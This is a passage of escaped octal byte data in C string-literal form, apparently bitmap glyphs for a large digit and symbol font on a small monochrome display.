\"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\237\\217\\203\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36\\77\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\17\\17\\37\\177\\377\\376\\374\\370\\340\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\377\\377\\377\\177\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0>>\\36>>\\77\\77\\77\\177\\377\\377\\373\\363\\341\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\377\\370\"\n  \"\\0\\0\\0\\0\\0\\0@\\340\\360\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\\37\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\177\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\376\\77\\37\\7\\3\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\77\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0<\\77\\77\\77\\77=<<<<<<<<<<<<\\377\\377\\377\\377\\377<<<<\"\n  \"<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\300\\300\\300\\340\\340\\340\\340\\340\\340\\340\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\77\\37\\17\\7\\3\\3\\3\\3\\1\\3\\3\\3\\3\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\60x\\374\\374\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\374\\376\\77\\37\\17\\17\\7\\7\\7\\3\\7\\7\\7\\7\\17\\37\\37\\17\\6\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\376\\377\\377\\377\\177\\3\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\370>\\37\\17\\17\\7\\3\\3\\3\\3\\3\\7\\7\\17\\37\\177\\377\\376\\374\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\373\\377\\377\\377\\177\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\77\\17\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\377\\377\\376\\374\\370\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\377\\377\\377\\374\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\300\\340\\374\\377\\377\\177\\77\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\301\\343\\363\\367\\177\\77\\37\\37\\36>>\\177\\177\\377\\367\\363\\341\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\376\"\n  \"\\370\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\77\\177\\376\\374\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\1\\17\\37\\177\\377\\377\\374\\370\\360\\340\\300\\300\\300\\300\\300\\340\\340\\360\\360x>\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\340\\377\\377\\377\\377\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\177\\77\\37\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\37\\37\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\237\\377\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 p\\370~\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\360\\370\"\n  \"\\370||\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\370\\370||>>\\37\\37\\17\\17\\7\\7\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0<>~\\377\\377\\377\\367\\347\\343\\303\\201\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\17\\37\\77>||\\370\\370\\360\\360\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\37\\37\\77\"\n  \">|\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0xxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n  \"xxx\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\17\\37\\37>>||\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\203\\207\\307\\317\\377\\377\\376\\376\"\n  \"\\374|x\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\370\\370||>>\\37\\17\\17\\7\\7\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\370\\374|~>\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\36\\77\\177\\77\\17\\7\\7\\3\\1\\1\\1\\1\\0\\1\\1\\1\\3\\3\\17\\37\\377\\377\\377\\374\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\\177\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\377\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\340\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\17\\17\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376>\\37\\37\\17\\7\\7\\7\\7\\3\\7\\7\\7\\7\\17\\17\\37\\77\\376\\374\\370\"\n  \"\\360\\300\\0\\0\\300\\374\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370x|<<<<<<\\377\\377\"\n  \"\\377\\377\\376\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\207\\1\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\377\\377\\0\\7\\177\\377\\377\\374\\340\\200\\0\\0\\0\\0\\1\\7\\17\\37\\77>|||||<>\\37\\17\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\1\\7\\17\\77\\177\\376\\374\\370\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\3\\37\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\177\\377\\377\\376\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\"\n  \"\\376\\370\\300\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\377\\377\\377\\77\"\n  \"\\17\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\37\\37\\37\\37\\77\\77\\77\\177\\377\\373\\363\\341\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\300\\300\\300\\300\\300\\300\\340\\360\\370\\376\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\376\\77\\37\\37\\17\\7\\7\\7\\7\\3\\7\\7\\7\\17\\17\\37\\77\\177\\376\"\n  \"\\374\\370\\360\\300\\0\\300\\374\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\1\\1\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\376\\370\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\"\n  \"\\374x\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\7\\17\\37\\77\\177\\376\\374\\374\\360\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\"\n  \"\\376\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\300\\300\\300\\300\\300\\300\\340\\340\\360\\370\\374\\377\\177\\77\\37\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  